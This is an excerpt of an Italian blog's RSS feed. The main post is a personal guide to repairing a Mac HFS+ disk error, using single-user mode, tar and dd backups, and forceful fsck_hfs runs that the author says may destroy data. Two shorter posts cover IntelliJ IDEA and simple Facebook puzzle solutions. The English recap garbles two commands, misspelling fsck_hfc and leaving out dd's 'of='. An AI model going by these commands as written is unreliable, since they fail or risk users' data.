<p>Il comando fsck, sta per &#8220;<strong>f</strong>ile<strong>s</strong>ystem <strong>c</strong>hec<strong>k</strong>&#8221; ed è in grado di riparare i danni al filesystem, o comunque di renderlo funzionante (al costo di perdere alcuni dati) &#8211; per questo consiglio un backup di tutto ciò che è leggibile, e possibilmente anche dell&#8217;intera immagine del disco, prima di procedere. Per fare un backup basta inserire un drive esterno (usb), montarlo, e copiarci dentro tutti i dati.</p>
<p>Nel dettaglio, prima di inserire il drive esterno, lanciate questo comando e guardate l&#8217;output.</p>
<blockquote>
<pre># ls /dev/disk*
/dev/disk0	/dev/disk0s1	/dev/disk0s2</pre>
</blockquote>
<p>Ora inseriamo il drive e lanciamo di nuovo il comando</p>
<blockquote>
<pre># ls /dev/disk*
/dev/disk0	/dev/disk0s1	/dev/disk0s2	/dev/disk1	/dev/disk1s1</pre>
</blockquote>
<p>Ecco, in questo esempio il drive esterno ha preso il nome di &#8220;disk1&#8243; e la sua unica partizione (nel mio caso NTFS) si chiama &#8220;disk1s1&#8243;. A questo punto, dobbiamo creare una cartella dove &#8220;montare&#8221; il drive, e fare il mount. Ri-montiamo il root in modalità read-write, con il comando &#8220;mount -uw /&#8221;, creiamo il mountpoint &#8220;mkdir /mnt&#8221; e finalmente facciamo il mount (nel caso di ntfs, di avere il supporto ntfs-3g, e del drive disk1 con unica partizione) : &#8220;mount -t ntfs-3g /dev/disk1s1 /mnt&#8221;.</p>
<p>A questo punto potreste avere qualche warning, o errore di timeout (io ho avuto quest&#8217;ultimo) ma facendo &#8220;ls /mnt/&#8221; possiamo controllare che il drive sia montato &#8211; vedendo se il terminale ci elenca i contenuti. A questo punto ho creato un archivio &#8220;tar&#8221; contenente tutta la mia directory utente, con il comando</p>
<blockquote>
<pre>tar -cvf /mnt/backup.tar /Users/qualsiasi</pre>
</blockquote>
<p>Dove sostituirete il vostro username al mio, ovviamente. Se uno volesse proprio essere sicuro, potrebbe anche farsi una copia byte per byte del drive sul mac, con</p>
<blockquote>
<pre>dd if=/dev/disk0s2 of=/mnt/mac_hd.img</pre>
</blockquote>
<p>Vi invito a leggere la <a href="http://www.manpagez.com/man/1/dd/">manpage di dd</a> per conoscere le opzioni aggiuntive da dare (bs count etc&#8230;) &#8211; Ma soprattutto fate attenzione che il file &#8220;mac_hd.img&#8221; non esista già sul vostro drive (verrà sovrascritto senza chiedere conferma).</p>
<p><span style="color: #800000;">Attenzione: dev&#8217;essere vostra cura fare il backup di tutti i file necessari, nel mio caso mi importava solo della directory utente, ma voi potreste avere file importanti anche in altri punti del filesystem. Io per i dati più importanti uso anche un servizio esterno, gratuito, e multipiattaforma (OSX, Linux, Windows, Android..) che è <a href="http://db.tt/BQfHwkh">Dropbox, questo è il mio &#8220;referral link&#8221;.</a></span></p>
<p>Completati questi passaggi possiamo tentare questo comando, che è un po&#8217; l&#8217;ultimo tentativo prima di dover formattare tutto (o addirittura cambiare drive) e ripristinare i propri dati dal backup.</p>
<p>Riavviamo di nuovo in &#8220;single user&#8221; (con <a href="http://support.apple.com/kb/HT1492">cmd+s all&#8217;accensione</a>) e lanciamo questo comando:</p>
<blockquote>
<pre># fsck_hfs -pfry /dev/disk0s2</pre>
</blockquote>
<p>Ricordatevi che il risultato potrebbe portarvi in qualunque situazione, da un mac completamente funzionante (come quello dal quale sto scrivendo quest&#8217;articolo) ad un limbo con il drive vuoto &#8211; potrebbe perdervi tutti i dati non backuppati, e per sfregio potrebbe anche autodistruggere il macbook. A vostro rischio e pericolo, divertente il fatto che le opzioni contengano proprio &#8220;fry&#8221; a ribadire la pericolosità. Se siete fortunati, dopo un bel po&#8217; di lavoro vi dirà che il filesystem è ok. Se siete sfortunati come lo sono stato (parzialmente) io, vi dirà che dopo tre tentativi non è riuscito a correggere l&#8217;errore. In questo caso lanciate il comando &#8220;fsck -fy&#8221; una o due volte, finchè non vi dice che è tutto ok. Se continua a darvi errore &#8211; mi sa che dovete buttare il drive e/o formattarlo e reinstallare tutto. Almeno ci abbiamo provato.</p>
<p>Attenzione: prima di tutto questa non è una procedura standard, è solo il resoconto di come IO abbia risolto questo problema sul MIO MacBook &#8211; non mi dilungo in spiegazioni sui comandi e concetti dei sistemi unix-like, se capite quello che c&#8217;è scritto bene, altrimenti lasciate un commento e proverò a darvi chiarimenti. È fondamentale capire che non mi assumo alcuna responsabilità se provando questa procedura perdete tutti i dati, vi si rompe il mac, o simili &#8211; fatelo a vostro rischio e pericolo.</p>
<p><span style="color: #ff0000;">Warning: this is NOT a <span style="color: #ff0000;">standard procedure &#8211; it&#8217;s the way I have fixed MY macbook &#8211; i&#8217;m not here to explain unix-like commands and concepts, I you understand what&#8217;s written good &#8211; if not you could leave a comment or ask someone who knows. I&#8217;m not taking any responsibility over any damage this procedure could cause to your mac, ranging from data loss to global termonuclear war (and all things in between).</span></span></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">This morning I had a &#8220;Disk I/O Error&#8221; in the dmesg, and I tried the standard procedure of <a href="http://support.apple.com/kb/HT1492">booting single user</a> and <a href="http://support.apple.com/kb/ts1417">running fsck</a>, but i got an &#8220;Invalid node structure&#8221; error. So I did a backup on a USB external drive of my user folder. To do this backup i ran (at command line) &#8220;ls /dev/disk*&#8221; before and after connecting the drive &#8211; so I could identify what was his name in the system. In the examples above you could see my drive was &#8220;disk1s1&#8243; (this means disk one &#8211; partition one, my usb drive has only one partition). I had to make root filesystem writeable, with &#8220;mount -uw /&#8221; and to create a mountpoint &#8220;mkdir /mnt&#8221; &#8211; after this I mounted the drive with &#8220;mount -t ntfs-3g /dev/disk1s1 /mnt&#8221; (pay attention, this is for a NTFS drive on a MAC with macfuse+ntfs-3g installed, your setup may be different).</span></span></p>
<p>After mounting the drive, I did a &#8220;tar -cvf /mnt/backup.tar /Users/my_user&#8221; to backup all my stuff. If I had enough space (and enough time) I could have done a &#8220;dd if=/dev/disk0s2 /mnt/disk.img&#8221; (check on the drive if disk.img already exists, this command doesn&#8217;t ask for confirmations to overwrite).</p>
<p><span style="color: #800000;">Warning: backup ALL you need. I kept all my files in my user directory, but it&#8217;s up to you to see where your data is and backup it properly. For important files I use an external service available on OSX, Linux, Windows and Android, <a href="http://db.tt/BQfHwkh">Dropbox: this is my referral link.</a></span></p>
<p>After this i did a (be careful, this command will likely loose some data, or ALL data, on the disk) &#8220;fsck_hfc -pfry /dev/disk0s2&#8243; and waited to finish (takes long time). It reported it cannot fix the drive in 3 attempts, so I ran &#8220;fsck -fy&#8221; after that (i needed to run two times) to finally read on the screen that the filesystem was successfully fixed. If yours keeps saying it&#8217;s not fixed chances are that you&#8217;re gonna have to change the hard drive, or at least need to do a full format and reinstallation. At least we tried.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=250" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/recuperare-lerrore-invalid-node-structure-recovery-su-snow-leopard/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ripensamenti in codice. Scoperto nuovo IDE per Java.</title>
		<link>http://www.qualsiasi.net/2011/ripensamenti-in-codice-scoperto-nuovo-ide-per-java/</link>
		<comments>http://www.qualsiasi.net/2011/ripensamenti-in-codice-scoperto-nuovo-ide-per-java/#comments</comments>
		<pubDate>Thu, 10 Mar 2011 20:14:39 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[programmazione]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[ide]]></category>
		<category><![CDATA[IDEA]]></category>
		<category><![CDATA[IntelliJ]]></category>
		<category><![CDATA[java]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=244</guid>
		<description><![CDATA[Non ho pubblicato altre soluzioni ai puzzle di Facebook perché ho scoperto che esiste una community online che contiene questi ed altri puzzle, e ha delle classifiche, punteggi&#8230; e non vorrei rovinare il gioco a nessuno. Visto che di qualcosa devo pur parlare inizio con IntelliJ IDEA che è proprio un ambiente di sviluppo ben [...]]]></description>
			<content:encoded><![CDATA[<p>Non ho pubblicato altre soluzioni ai puzzle di Facebook perché ho scoperto che esiste una community online che contiene questi ed altri puzzle, e ha delle classifiche, punteggi&#8230; e non vorrei rovinare il gioco a nessuno.</p>
<p>Visto che di qualcosa devo pur parlare inizio con <a href="http://www.jetbrains.com/idea/">IntelliJ IDEA</a> che è proprio un ambiente di sviluppo ben fatto &#8211; abbastanza leggero e con un autocompletamento/suggerimento molto apprezzato (da me).</p>
<div id="attachment_245" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/03/Schermata-2011-03-10-a-21.12.45.png"><img class="size-large wp-image-245" title="Schermata 2011-03-10 a 21.12.45" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/03/Schermata-2011-03-10-a-21.12.45-500x312.png" alt="" width="500" height="312" /></a><p class="wp-caption-text">Screenshot di IntelliJ IDEA sul mio Mac</p></div>
<p>Se non sbaglio ha anche qualche opzione per importare progetti già iniziati su <a href="http://www.eclipse.org/">Eclipse</a>, e forse pure su <a href="http://netbeans.org/">NetBeans</a> &#8211; io li ho installati tutti e tre, però per il momento il mio voto è per IDEA&#8230; purtroppo Google supporta gli sviluppatori Android con plugin per il solo Eclipse, che nel caso di programmi per smartphone sembra più indicato. Sembra. Io ho provato una piccola app anche su IDEA e ha tutti gli shortcut necessari per generare l&#8217;apk e per provarlo sull&#8217;emulatore.</p>
<p>Buono a sapersi.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=244" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/ripensamenti-in-codice-scoperto-nuovo-ide-per-java/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook puzzles, le mie soluzioni</title>
		<link>http://www.qualsiasi.net/2011/facebook-puzzles-le-mie-soluzioni/</link>
		<comments>http://www.qualsiasi.net/2011/facebook-puzzles-le-mie-soluzioni/#comments</comments>
		<pubDate>Fri, 25 Feb 2011 22:33:21 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[programmazione]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[java]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=213</guid>
		<description><![CDATA[Periodicamente cercherò, nel tempo libero, di risolvere alcuni dei puzzle &#8220;più facili&#8221; che si possono trovare in questa pagina: http://www.facebook.com/careers/puzzles.php. Sono dei simpatici modi di esercitarsi a programmare, e nel caso risolviate in modo giusto ed efficiente alcuni di quelli più difficili &#8211; c&#8217;è il rischio di venire contattati da Facebook per un posto di [...]]]></description>
			<content:encoded><![CDATA[<p>Periodicamente cercherò, nel tempo libero, di risolvere alcuni dei puzzle &#8220;più facili&#8221; che si possono trovare in questa pagina: <a href="http://www.facebook.com/careers/puzzles.php">http://www.facebook.com/careers/puzzles.php</a>. Sono dei simpatici modi di esercitarsi a programmare, e nel caso risolviate in modo giusto ed efficiente alcuni di quelli più difficili &#8211; c&#8217;è il rischio di venire contattati da Facebook per un posto di lavoro (mica male eh?).</p>
<p>I primi di cui invio la soluzione sono banali &#8211; quelli di prova. Di seguito la mia proposta di soluzione al problema che si chiama &#8220;<a href="http://www.facebook.com/careers/puzzles.php?puzzle_id=7">Hoppity Hop!</a>&#8221; (in Java)</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">package</span> <span style="color: #006699;">facebookpuzzles</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.File</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.FileNotFoundException</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.Scanner</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #008000; font-style: italic; font-weight: bold;">/**
 * @author Qualsiasi
 */</span>
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> HoppityHop <span style="color: #009900;">&#123;</span>
<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> f_name<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">Integer</span> numero<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">int</span> i<span style="color: #339933;">;</span>
&nbsp;
    HoppityHop<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> filename<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    f_name <span style="color: #339933;">=</span> filename<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> run<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">FileNotFoundException</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #003399;">File</span> in <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">File</span><span style="color: #009900;">&#40;</span>f_name<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    Scanner scan <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Scanner<span style="color: #009900;">&#40;</span>in<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    numero <span style="color: #339933;">=</span> scan.<span style="color: #006633;">nextInt</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>i <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #339933;">=</span> numero<span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">%</span>3 <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">%</span>5 <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Hoppity<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">%</span>3 <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">%</span>5 <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Hophop<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">%</span>3 <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">%</span>5 <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Hop<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
     <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Ovviamente l&#8217;oggetto va istanziato, il costruttore prevede il nome del file contenente il numero come parametro e poi si chiama il metodo &#8220;run()&#8221;.</p>
<p>E ora l&#8217;ancor più banale soluzione, in C, a <a href="http://www.facebook.com/careers/puzzles.php?puzzle_id=3">Meep meep!</a> &#8211; il secondo puzzle.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include </span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
  <span style="color: #808080; font-style: italic;">/* non leggere argv[1] */</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Meep meep!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Alla prossima.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=213" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/facebook-puzzles-le-mie-soluzioni/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

